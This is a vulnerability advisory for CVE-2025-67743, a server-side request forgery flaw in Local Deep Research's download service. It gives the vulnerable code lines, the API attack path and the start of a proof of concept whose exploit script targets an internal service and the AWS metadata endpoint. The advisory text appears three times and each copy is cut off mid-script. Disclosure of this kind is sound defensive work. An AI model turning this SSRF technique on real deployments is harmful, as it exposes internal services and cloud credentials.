CVE-2025-67743

Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.

Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)

Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:

• Loopback addresses (127.0.0.0/8)
• Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• AWS metadata endpoint (169.254.169.254)
• Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

1. Attacker submits a malicious URL via POST /api/resources/<research_id>
2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
3. Download is triggered via /library/api/download/<resource_id>
4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

• Docker and Docker Compose installed
• Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")
    
    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")
        
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        
        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)
    
    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent":…

Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.

Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)

Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:

• Loopback addresses (127.0.0.0/8)
• Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• AWS metadata endpoint (169.254.169.254)
• Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

1. Attacker submits a malicious URL via POST /api/resources/<research_id>
2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
3. Download is triggered via /library/api/download/<resource_id>
4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

• Docker and Docker Compose installed
• Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")
    
    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")
        
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        
        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)
    
    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent":…

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)

Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:

• Loopback addresses (127.0.0.0/8)
• Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• AWS metadata endpoint (169.254.169.254)
• Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

1. Attacker submits a malicious URL via POST /api/resources/<research_id>
2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
3. Download is triggered via /library/api/download/<resource_id>
4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

• Docker and Docker Compose installed
• Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")
    
    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")
        
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        
        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)
    
    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent":…